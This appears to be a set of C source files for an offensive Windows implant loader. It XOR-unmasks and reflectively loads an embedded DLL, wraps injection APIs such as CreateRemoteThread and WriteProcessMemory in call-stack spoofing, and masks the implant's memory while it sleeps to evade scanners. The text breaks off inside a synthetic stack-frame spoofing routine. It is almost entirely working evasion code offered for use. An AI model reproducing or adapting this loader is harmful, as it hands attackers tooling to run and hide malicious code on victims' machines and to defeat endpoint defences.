DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoCreateInstance ( REFCLSID, LPUNKNOWN, DWORD, REFIID, LPVOID * );
DECLSPEC_IMPORT ULONG NTAPI NTDLL$NtContinue ( CONTEXT *, BOOLEAN );
// cannot put this here because it fails to build
// to PIC when hooks.x64.o is merged into the loader
// extern MEMORY_LAYOUT g_memory;
HINTERNET WINAPI _InternetOpenA ( LPCSTR lpszAgent, DWORD dwAccessType, LPCSTR lpszProxy, LPCSTR lpszProxyBypass, DWORD dwFlags )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( WININET$InternetOpenA );
call.argc = 5;
call.args [ 0 ] = spoof_arg ( lpszAgent );
call.args [ 1 ] = spoof_arg ( dwAccessType );
call.args [ 2 ] = spoof_arg ( lpszProxy );
call.args [ 3 ] = spoof_arg ( lpszProxyBypass );
call.args [ 4 ] = spoof_arg ( dwFlags );
return ( HINTERNET ) spoof_call ( &call );
}
HINTERNET WINAPI _InternetConnectA ( HINTERNET hInternet, LPCSTR lpszServerName, INTERNET_PORT nServerPort, LPCSTR lpszUserName, LPCSTR lpszPassword, DWORD dwService, DWORD dwFlags, DWORD_PTR dwContext )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( WININET$InternetConnectA );
call.argc = 8;
call.args [ 0 ] = spoof_arg ( hInternet );
call.args [ 1 ] = spoof_arg ( lpszServerName );
call.args [ 2 ] = spoof_arg ( nServerPort );
call.args [ 3 ] = spoof_arg ( lpszUserName );
call.args [ 4 ] = spoof_arg ( lpszPassword );
call.args [ 5 ] = spoof_arg ( dwService );
call.args [ 6 ] = spoof_arg ( dwFlags );
call.args [ 7 ] = spoof_arg ( dwContext );
return ( HINTERNET ) spoof_call ( &call );
}
BOOL WINAPI _CloseHandle ( HANDLE hObject )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$CloseHandle );
call.argc = 1;
call.args [ 0 ] = spoof_arg ( hObject );
return ( BOOL ) spoof_call ( &call );
}
HANDLE WINAPI _CreateFileMappingA ( HANDLE hFile, LPSECURITY_ATTRIBUTES lpFileMappingAttributes, DWORD flProtect, DWORD dwMaximumSizeHigh, DWORD dwMaximumSizeLow, LPCSTR lpName )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$CreateFileMappingA );
call.argc = 6;
call.args [ 0 ] = spoof_arg ( hFile );
call.args [ 1 ] = spoof_arg ( lpFileMappingAttributes );
call.args [ 2 ] = spoof_arg ( flProtect );
call.args [ 3 ] = spoof_arg ( dwMaximumSizeHigh );
call.args [ 4 ] = spoof_arg ( dwMaximumSizeLow );
call.args [ 5 ] = spoof_arg ( lpName );
return ( HANDLE ) spoof_call ( &call );
}
BOOL _CreateProcessA ( LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$CreateProcessA );
call.argc = 10;
call.args [ 0 ] = spoof_arg ( lpApplicationName );
call.args [ 1 ] = spoof_arg ( lpCommandLine );
call.args [ 2 ] = spoof_arg ( lpProcessAttributes );
call.args [ 3 ] = spoof_arg ( lpThreadAttributes );
call.args [ 4 ] = spoof_arg ( bInheritHandles );
call.args [ 5 ] = spoof_arg ( dwCreationFlags );
call.args [ 6 ] = spoof_arg ( lpEnvironment );
call.args [ 7 ] = spoof_arg ( lpCurrentDirectory );
call.args [ 8 ] = spoof_arg ( lpStartupInfo );
call.args [ 9 ] = spoof_arg ( lpProcessInformation );
return ( BOOL ) spoof_call ( &call );
}
HANDLE WINAPI _CreateRemoteThread ( HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$CreateRemoteThread );
call.argc = 7;
call.args [ 0 ] = spoof_arg ( hProcess );
call.args [ 1 ] = spoof_arg ( lpThreadAttributes );
call.args [ 2 ] = spoof_arg ( dwStackSize );
call.args [ 3 ] = spoof_arg ( lpStartAddress );
call.args [ 4 ] = spoof_arg ( lpParameter );
call.args [ 5 ] = spoof_arg ( dwCreationFlags );
call.args [ 6 ] = spoof_arg ( lpThreadId );
return ( HANDLE ) spoof_call ( &call );
}
HANDLE WINAPI _CreateThread ( LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$CreateThread );
call.argc = 6;
call.args [ 0 ] = spoof_arg ( lpThreadAttributes );
call.args [ 1 ] = spoof_arg ( dwStackSize );
call.args [ 2 ] = spoof_arg ( lpStartAddress );
call.args [ 3 ] = spoof_arg ( lpParameter );
call.args [ 4 ] = spoof_arg ( dwCreationFlags );
call.args [ 5 ] = spoof_arg ( lpThreadId );
return ( HANDLE ) spoof_call ( &call );
}
HRESULT WINAPI _CoCreateInstance ( REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, LPVOID * ppv )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( OLE32$CoCreateInstance );
call.argc = 5;
call.args [ 0 ] = spoof_arg ( rclsid );
call.args [ 1 ] = spoof_arg ( pUnkOuter );
call.args [ 2 ] = spoof_arg ( dwClsContext );
call.args [ 3 ] = spoof_arg ( riid );
call.args [ 4 ] = spoof_arg ( ppv );
return ( HRESULT ) spoof_call ( &call );
}
BOOL WINAPI _DuplicateHandle ( HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$DuplicateHandle );
call.argc = 7;
call.args [ 0 ] = spoof_arg ( hSourceProcessHandle );
call.args [ 1 ] = spoof_arg ( hSourceHandle );
call.args [ 2 ] = spoof_arg ( hTargetProcessHandle );
call.args [ 3 ] = spoof_arg ( lpTargetHandle );
call.args [ 4 ] = spoof_arg ( dwDesiredAccess );
call.args [ 5 ] = spoof_arg ( bInheritHandle );
call.args [ 6 ] = spoof_arg ( dwOptions );
return ( BOOL ) spoof_call ( &call );
}
HMODULE WINAPI _LoadLibraryA ( LPCSTR lpLibFileName )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( LoadLibraryA );
call.argc = 1;
call.args [ 0 ] = spoof_arg ( lpLibFileName );
return ( HMODULE ) spoof_call ( &call );
}
BOOL WINAPI _GetThreadContext ( HANDLE hThread, LPCONTEXT lpContext )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$GetThreadContext );
call.argc = 2;
call.args [ 0 ] = spoof_arg ( hThread );
call.args [ 1 ] = spoof_arg ( lpContext );
return ( BOOL ) spoof_call ( &call );
}
LPVOID WINAPI _MapViewOfFile ( HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh, DWORD dwFileOffsetLow, SIZE_T dwNumberOfBytesToMap )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$MapViewOfFile );
call.argc = 5;
call.args [ 0 ] = spoof_arg ( hFileMappingObject );
call.args [ 1 ] = spoof_arg ( dwDesiredAccess );
call.args [ 2 ] = spoof_arg ( dwFileOffsetHigh );
call.args [ 3 ] = spoof_arg ( dwFileOffsetLow );
call.args [ 4 ] = spoof_arg ( dwNumberOfBytesToMap );
return ( LPVOID ) spoof_call ( &call );
}
HANDLE WINAPI _OpenProcess ( DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$OpenProcess );
call.argc = 3;
call.args [ 0 ] = spoof_arg ( dwDesiredAccess );
call.args [ 1 ] = spoof_arg ( bInheritHandle );
call.args [ 2 ] = spoof_arg ( dwProcessId );
return ( HANDLE ) spoof_call ( &call );
}
HANDLE WINAPI _OpenThread ( DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwThreadId )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$OpenThread );
call.argc = 3;
call.args [ 0 ] = spoof_arg ( dwDesiredAccess );
call.args [ 1 ] = spoof_arg ( bInheritHandle );
call.args [ 2 ] = spoof_arg ( dwThreadId );
return ( HANDLE ) spoof_call ( &call );
}
BOOL WINAPI _ReadProcessMemory ( HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T * lpNumberOfBytesRead )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$ReadProcessMemory );
call.argc = 5;
call.args [ 0 ] = spoof_arg ( hProcess );
call.args [ 1 ] = spoof_arg ( lpBaseAddress );
call.args [ 2 ] = spoof_arg ( lpBuffer );
call.args [ 3 ] = spoof_arg ( nSize );
call.args [ 4 ] = spoof_arg ( lpNumberOfBytesRead );
return ( BOOL ) spoof_call ( &call );
}
DWORD WINAPI _ResumeThread ( HANDLE hThread )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$ResumeThread );
call.argc = 1;
call.args [ 0 ] = spoof_arg ( hThread );
return ( DWORD ) spoof_call ( &call );
}
BOOL WINAPI _SetThreadContext ( HANDLE hThread, const CONTEXT * lpContext )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$SetThreadContext );
call.argc = 2;
call.args [ 0 ] = spoof_arg ( hThread );
call.args [ 1 ] = spoof_arg ( lpContext );
return ( BOOL ) spoof_call ( &call );
}
BOOL WINAPI _UnmapViewOfFile ( LPCVOID lpBaseAddress )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$UnmapViewOfFile );
call.argc = 1;
call.args [ 0 ] = spoof_arg ( lpBaseAddress );
return ( BOOL ) spoof_call ( &call );
}
LPVOID WINAPI _VirtualAlloc ( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$VirtualAlloc );
call.argc = 4;
call.args [ 0 ] = spoof_arg ( lpAddress );
call.args [ 1 ] = spoof_arg ( dwSize );
call.args [ 2 ] = spoof_arg ( flAllocationType );
call.args [ 3 ] = spoof_arg ( flProtect );
return ( LPVOID ) spoof_call ( &call );
}
LPVOID WINAPI _VirtualAllocEx ( HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$VirtualAllocEx );
call.argc = 5;
call.args [ 0 ] = spoof_arg ( hProcess );
call.args [ 1 ] = spoof_arg ( lpAddress );
call.args [ 2 ] = spoof_arg ( dwSize );
call.args [ 3 ] = spoof_arg ( flAllocationType );
call.args [ 4 ] = spoof_arg ( flProtect );
return ( LPVOID ) spoof_call ( &call );
}
BOOL WINAPI _VirtualFree ( LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$VirtualFree );
call.argc = 3;
call.args [ 0 ] = spoof_arg ( lpAddress );
call.args [ 1 ] = spoof_arg ( dwSize );
call.args [ 2 ] = spoof_arg ( dwFreeType );
return ( BOOL ) spoof_call ( &call );
}
BOOL WINAPI _VirtualProtect ( LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$VirtualProtect );
call.argc = 4;
call.args [ 0 ] = spoof_arg ( lpAddress );
call.args [ 1 ] = spoof_arg ( dwSize );
call.args [ 2 ] = spoof_arg ( flNewProtect );
call.args [ 3 ] = spoof_arg ( lpflOldProtect );
return ( BOOL ) spoof_call ( &call );
}
BOOL WINAPI _VirtualProtectEx ( HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$VirtualProtectEx );
call.argc = 5;
call.args [ 0 ] = spoof_arg ( hProcess );
call.args [ 1 ] = spoof_arg ( lpAddress );
call.args [ 2 ] = spoof_arg ( dwSize );
call.args [ 3 ] = spoof_arg ( flNewProtect );
call.args [ 4 ] = spoof_arg ( lpflOldProtect );
return ( BOOL ) spoof_call ( &call );
}
SIZE_T WINAPI _VirtualQuery ( LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$VirtualQuery );
call.argc = 3;
call.args [ 0 ] = spoof_arg ( lpAddress );
call.args [ 1 ] = spoof_arg ( lpBuffer );
call.args [ 2 ] = spoof_arg ( dwLength );
return ( SIZE_T ) spoof_call ( &call );
}
BOOL WINAPI _WriteProcessMemory ( HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T * lpNumberOfBytesWritten )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$WriteProcessMemory );
call.argc = 5;
call.args [ 0 ] = spoof_arg ( hProcess );
call.args [ 1 ] = spoof_arg ( lpBaseAddress );
call.args [ 2 ] = spoof_arg ( lpBuffer );
call.args [ 3 ] = spoof_arg ( nSize );
call.args [ 4 ] = spoof_arg ( lpNumberOfBytesWritten );
return ( BOOL ) spoof_call ( &call );
}
+146
View File
@@ -0,0 +1,146 @@
#include <windows.h>
#include "loader.h"
#include "tcg.h"
#include "memory.h"
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc ( LPVOID, SIZE_T, DWORD, DWORD );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD );
char _PICO_ [ 0 ] __attribute__ ( ( section ( "pico" ) ) );
char _MASK_ [ 0 ] __attribute__ ( ( section ( "mask" ) ) );
char _DLL_ [ 0 ] __attribute__ ( ( section ( "dll" ) ) );
int __tag_setup_hooks ( );
int __tag_setup_memory ( );
typedef void ( * SETUP_HOOKS ) ( IMPORTFUNCS * funcs );
typedef void ( * SETUP_MEMORY ) ( MEMORY_LAYOUT * layout );
void fix_section_permissions ( DLLDATA * dll, char * src, char * dst, MEMORY_REGION * region )
{
DWORD section_count = dll->NtHeaders->FileHeader.NumberOfSections;
IMAGE_SECTION_HEADER * section_hdr = NULL;
void * section_dst = NULL;
DWORD section_size = 0;
DWORD new_protect = 0;
DWORD old_protect = 0;
section_hdr = ( IMAGE_SECTION_HEADER * ) PTR_OFFSET ( dll->OptionalHeader, dll->NtHeaders->FileHeader.SizeOfOptionalHeader );
for ( int i = 0; i < section_count; i++ )
{
section_dst = dst + section_hdr->VirtualAddress;
section_size = section_hdr->SizeOfRawData;
if ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) {
new_protect = PAGE_WRITECOPY;
}
if ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) {
new_protect = PAGE_READONLY;
}
if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) ) {
new_protect = PAGE_READWRITE;
}
if ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) {
new_protect = PAGE_EXECUTE;
}
if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) ) {
new_protect = PAGE_EXECUTE_WRITECOPY;
}
if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) ) {
new_protect = PAGE_EXECUTE_READ;
}
if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) ) {
new_protect = PAGE_EXECUTE_READWRITE;
}
/* set new permission */
KERNEL32$VirtualProtect ( section_dst, section_size, new_protect, &old_protect );
/* track memory */
region->Sections[ i ].BaseAddress = section_dst;
region->Sections[ i ].Size = section_size;
region->Sections[ i ].CurrentProtect = new_protect;
region->Sections[ i ].PreviousProtect = new_protect;
/* advance to section */
section_hdr++;
}
}
void go ( )
{
/* populate funcs */
IMPORTFUNCS funcs;
funcs.LoadLibraryA = LoadLibraryA;
funcs.GetProcAddress = GetProcAddress;
/* load the pico */
char * pico_src = GETRESOURCE ( _PICO_ );
/* allocate memory for it */
PICO * pico_dst = ( PICO * ) KERNEL32$VirtualAlloc ( NULL, sizeof ( PICO ), MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE );
/* load it into memory */
PicoLoad ( &funcs, pico_src, pico_dst->code, pico_dst->data );
/* make code section RX */
DWORD old_protect;
KERNEL32$VirtualProtect ( pico_dst->code, PicoCodeSize ( pico_src ), PAGE_EXECUTE_READ, &old_protect );
/* begin tracking memory allocations */
MEMORY_LAYOUT memory = { 0 };
memory.Pico.BaseAddress = ( PVOID ) ( pico_dst );
memory.Pico.Size = sizeof ( PICO );
memory.Pico.Sections[ 0 ].BaseAddress = ( PVOID ) ( pico_dst->data );
memory.Pico.Sections[ 0 ].Size = PicoDataSize ( pico_src );
memory.Pico.Sections[ 0 ].CurrentProtect = PAGE_READWRITE;
memory.Pico.Sections[ 0 ].PreviousProtect = PAGE_READWRITE;
memory.Pico.Sections[ 1 ].BaseAddress = ( PVOID ) ( pico_dst->code );
memory.Pico.Sections[ 1 ].Size = PicoCodeSize ( pico_src );
memory.Pico.Sections[ 1 ].CurrentProtect = PAGE_EXECUTE_READ;
memory.Pico.Sections[ 1 ].PreviousProtect = PAGE_EXECUTE_READ;
/* call setup_hooks to overwrite funcs.GetProcAddress */
( ( SETUP_HOOKS ) PicoGetExport ( pico_src, pico_dst->code, __tag_setup_hooks ( ) ) ) ( &funcs );
/* now load the dll (it's masked) */
RESOURCE * masked_dll = ( RESOURCE * ) GETRESOURCE ( _DLL_ );
RESOURCE * mask_key = ( RESOURCE * ) GETRESOURCE ( _MASK_ );
/* load dll into memory and unmask it */
char * dll_src = KERNEL32$VirtualAlloc ( NULL, masked_dll->len, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE );
for ( int i = 0; i < masked_dll->len; i++ ) {
dll_src [ i ] = masked_dll->value [ i ] ^ mask_key->value [ i % mask_key->len ];
}
DLLDATA dll_data;
ParseDLL ( dll_src, &dll_data );
char * dll_dst = KERNEL32$VirtualAlloc ( NULL, SizeOfDLL ( &dll_data ), MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE );
LoadDLL ( &dll_data, dll_src, dll_dst );
/* track dll's memory */
memory.Dll.BaseAddress = ( PVOID ) ( dll_dst );
memory.Dll.Size = SizeOfDLL ( &dll_data );
ProcessImports ( &funcs, &dll_data, dll_dst );
fix_section_permissions ( &dll_data, dll_src, dll_dst, &memory.Dll );
/* call setup_memory to give PICO the memory info */
( ( SETUP_MEMORY ) PicoGetExport ( pico_src, pico_dst->code, __tag_setup_memory ( ) ) ) ( &memory );
/* now run the DLL */
DLLMAIN_FUNC entry_point = EntryPoint ( &dll_data, dll_dst );
/* free the unmasked copy */
KERNEL32$VirtualFree ( dll_src, 0, MEM_RELEASE );
entry_point ( ( HINSTANCE ) dll_dst, DLL_PROCESS_ATTACH, NULL );
entry_point ( ( HINSTANCE ) ( char * ) go, 0x4, NULL );
}
+11
View File
@@ -0,0 +1,11 @@
#define GETRESOURCE(x) ( char * ) &x
typedef struct {
char data [ 4096 ];
char code [ 16384 ];
} PICO;
typedef struct {
int len;
char value[];
} RESOURCE;
+72
View File
@@ -0,0 +1,72 @@
#include <windows.h>
#include "memory.h"
#include "spoof.h"
DECLSPEC_IMPORT VOID WINAPI KERNEL32$Sleep ( DWORD );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD );
char xorkey [ 128 ] = { 1 };
void apply_mask ( char * data, DWORD len )
{
for ( DWORD i = 0; i < len; i++ )
{
data [ i ] ^= xorkey [ i % 128 ];
}
}
BOOL is_writeable ( DWORD protection )
{
if ( protection == PAGE_EXECUTE_READWRITE ||
protection == PAGE_EXECUTE_WRITECOPY ||
protection == PAGE_READWRITE ||
protection == PAGE_WRITECOPY )
{
return TRUE;
}
return FALSE;
}
void xor_section ( MEMORY_SECTION * section, BOOL mask )
{
if ( mask == TRUE && is_writeable ( section->CurrentProtect ) == FALSE )
{
DWORD old_protect = 0;
if ( KERNEL32$VirtualProtect ( section->BaseAddress, section->Size, PAGE_READWRITE, &old_protect ) )
{
section->CurrentProtect = PAGE_READWRITE;
section->PreviousProtect = old_protect;
}
}
if ( is_writeable ( section->CurrentProtect ) )
{
apply_mask ( section->BaseAddress, section->Size );
}
if ( mask == FALSE && section->CurrentProtect != section->PreviousProtect )
{
DWORD old_protect = 0;
if ( KERNEL32$VirtualProtect ( section->BaseAddress, section->Size, section->PreviousProtect, &old_protect ) )
{
section->CurrentProtect = section->PreviousProtect;
section->PreviousProtect = old_protect;
}
}
}
void xor_region ( MEMORY_REGION * region, BOOL mask )
{
for ( int i = 0; i < 20; i++ )
{
xor_section ( &region->Sections [ i ], mask );
}
}
void mask_memory ( MEMORY_LAYOUT * memory, BOOL mask )
{
xor_region ( &memory->Dll, mask );
}
+1
View File
@@ -0,0 +1 @@
void mask_memory ( MEMORY_LAYOUT * memory, BOOL mask );
+17
View File
@@ -0,0 +1,17 @@
typedef struct {
PVOID BaseAddress;
SIZE_T Size;
DWORD CurrentProtect;
DWORD PreviousProtect;
} MEMORY_SECTION;
typedef struct {
PVOID BaseAddress;
SIZE_T Size;
MEMORY_SECTION Sections [ 20 ];
} MEMORY_REGION;
typedef struct {
MEMORY_REGION Pico;
MEMORY_REGION Dll;
} MEMORY_LAYOUT;
+93
View File
@@ -0,0 +1,93 @@
#include <windows.h>
#include "memory.h"
#include "mask.h"
#include "spoof.h"
#include "cleanup.h"
#include "tcg.h"
MEMORY_LAYOUT g_memory;
DECLSPEC_IMPORT VOID WINAPI KERNEL32$Sleep ( DWORD );
DECLSPEC_IMPORT VOID WINAPI KERNEL32$ExitThread ( DWORD );
FARPROC WINAPI _GetProcAddress ( HMODULE hModule, LPCSTR lpProcName )
{
/* lpProcName may be an ordinal */
if ( ( ULONG_PTR ) lpProcName >> 16 == 0 )
{
/* just resolve normally */
return GetProcAddress ( hModule, lpProcName );
}
FARPROC result = __resolve_hook ( ror13hash ( lpProcName ) );
/*
* result may still be NULL if
* it wasn't hooked in the spec
*/
if ( result != NULL ) {
return result;
}
return GetProcAddress ( hModule, lpProcName );
}
void setup_hooks ( IMPORTFUNCS * funcs )
{
funcs->GetProcAddress = ( __typeof__ ( GetProcAddress ) * ) _GetProcAddress;
}
void setup_memory ( MEMORY_LAYOUT * layout )
{
if ( layout != NULL ) {
g_memory = * layout;
}
}
/*
* throw these hooks in here because
* sharing a global across multiple
* modules is still a bit of a headache
*/
VOID WINAPI _Sleep ( DWORD dwMilliseconds )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$Sleep );
call.argc = 1;
call.args [ 0 ] = spoof_arg ( dwMilliseconds );
/*
* for performance reasons, only mask
* memory if sleep time is equal to
* or greater than 1 second
*/
if ( dwMilliseconds >= 1000 ) {
mask_memory ( &g_memory, TRUE );
}
spoof_call ( &call );
if ( dwMilliseconds >= 1000 ) {
mask_memory ( &g_memory, FALSE );
}
}
VOID WINAPI _ExitThread ( DWORD dwExitCode )
{
/* free memory */
cleanup_memory ( &g_memory );
/* call the real exit thread */
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$ExitThread );
call.argc = 1;
call.args [ 0 ] = spoof_arg ( dwExitCode );
spoof_call ( &call );
}
+15
View File
@@ -0,0 +1,15 @@
#include <windows.h>
/* patch function pointers in */
__typeof__ ( GetModuleHandle ) * get_module_handle __attribute__ ( ( section ( ".text" ) ) );
__typeof__ ( GetProcAddress ) * get_proc_address __attribute__ ( ( section ( ".text" ) ) );
/**
* This function is used to locate functions in
* modules that are loaded by default (K32 & NTDLL)
*/
FARPROC resolve ( char * mod_name, char * func_name )
{
HANDLE module = get_module_handle ( mod_name );
return get_proc_address ( module, func_name );
}
+390
View File
@@ -0,0 +1,390 @@
#include <windows.h>
#include "spoof.h"
#include "tcg.h"
DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$GetModuleHandleA ( LPCSTR );
DECLSPEC_IMPORT RUNTIME_FUNCTION * WINAPI KERNEL32$RtlLookupFunctionEntry ( DWORD64, PDWORD64, PUNWIND_HISTORY_TABLE );
DECLSPEC_IMPORT ULONG NTAPI NTDLL$RtlRandomEx ( PULONG );
#define TEXT_HASH 0xEBC2F9B4
#define RBP_OP_INFO 0x5
typedef struct {
LPCWSTR DllPath;
ULONG Offset;
ULONGLONG TotalStackSize;
BOOL RequiresLoadLibrary;
BOOL SetsFramePointer;
PVOID ReturnAddress;
BOOL PushRbp;
ULONG CountOfCodes;
BOOL PushRbpIndex;
} STACK_FRAME;
typedef enum {
UWOP_PUSH_NONVOL = 0,
UWOP_ALLOC_LARGE,
UWOP_ALLOC_SMALL,
UWOP_SET_FPREG,
UWOP_SAVE_NONVOL,
UWOP_SAVE_NONVOL_FAR,
UWOP_SAVE_XMM128 = 8,
UWOP_SAVE_XMM128_FAR,
UWOP_PUSH_MACHFRAME
} UNWIND_CODE_OPS;
typedef unsigned char UBYTE;
typedef union {
struct {
UBYTE CodeOffset;
UBYTE UnwindOp : 4;
UBYTE OpInfo : 4;
};
USHORT FrameOffset;
} UNWIND_CODE;
typedef struct {
UBYTE Version : 3;
UBYTE Flags : 5;
UBYTE SizeOfProlog;
UBYTE CountOfCodes;
UBYTE FrameRegister : 4;
UBYTE FrameOffset : 4;
UNWIND_CODE UnwindCode [ 1 ];
} UNWIND_INFO;
typedef struct {
PVOID ModuleAddress;
PVOID FunctionAddress;
DWORD Offset;
} FRAME_INFO;
typedef struct {
FRAME_INFO Frame1;
FRAME_INFO Frame2;
PVOID Gadget;
} SYNTHETIC_STACK_FRAME;
typedef struct {
FUNCTION_CALL * FunctionCall;
PVOID StackFrame;
PVOID SpoofCall;
} DRAUGR_FUNCTION_CALL;
typedef struct {
PVOID Fixup;
PVOID OriginalReturnAddress;
PVOID Rbx;
PVOID Rdi;
PVOID BaseThreadInitThunkStackSize;
PVOID BaseThreadInitThunkReturnAddress;
PVOID TrampolineStackSize;
PVOID RtlUserThreadStartStackSize;
PVOID RtlUserThreadStartReturnAddress;
PVOID Ssn;
PVOID Trampoline;
PVOID Rsi;
PVOID R12;
PVOID R13;
PVOID R14;
PVOID R15;
} DRAUGR_PARAMETERS;
extern PVOID draugr_stub ( PVOID, PVOID, PVOID, PVOID, DRAUGR_PARAMETERS *, PVOID, SIZE_T, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID );
#define draugr_arg(i) ( ULONG_PTR ) ( call->args [ i ] )
void init_frame_info ( SYNTHETIC_STACK_FRAME * frame )
{
PVOID frame1_module = KERNEL32$GetModuleHandleA ( "kernel32.dll" );
PVOID frame2_module = KERNEL32$GetModuleHandleA ( "ntdll.dll" );
frame->Frame1.ModuleAddress = frame1_module;
frame->Frame1.FunctionAddress = ( PVOID ) GetProcAddress ( ( HMODULE ) frame1_module, "BaseThreadInitThunk" );
frame->Frame1.Offset = 0x17;
frame->Frame2.ModuleAddress = frame2_module;
frame->Frame2.FunctionAddress = ( PVOID ) GetProcAddress ( ( HMODULE ) frame2_module, "RtlUserThreadStart" );
frame->Frame2.Offset = 0x2c;
// frame->Gadget = KERNEL32$GetModuleHandleA ( "KernelBase.dll" );
PVOID dfshim = KERNEL32$GetModuleHandleA ( "dfshim.dll" );
if ( dfshim != NULL ) {
frame->Gadget = dfshim;
} else {
frame->Gadget = LoadLibraryA ( "dfshim.dll" );
}
}
BOOL get_text_section_size ( PVOID module, PDWORD virtual_address, PDWORD size )
{
IMAGE_DOS_HEADER * dos_header = ( IMAGE_DOS_HEADER * ) ( module );
if ( dos_header->e_magic != IMAGE_DOS_SIGNATURE ) {
return FALSE;
}
IMAGE_NT_HEADERS * nt_headers = ( IMAGE_NT_HEADERS * ) ( ( UINT_PTR ) module + dos_header->e_lfanew );
if ( nt_headers->Signature != IMAGE_NT_SIGNATURE ) {
return FALSE;
}
IMAGE_SECTION_HEADER * section_header = IMAGE_FIRST_SECTION ( nt_headers );
for ( int i = 0; i < nt_headers->FileHeader.NumberOfSections; i++ )
{
DWORD h = ror13hash ( ( char * ) section_header[ i ].Name );
if ( h == TEXT_HASH )
{
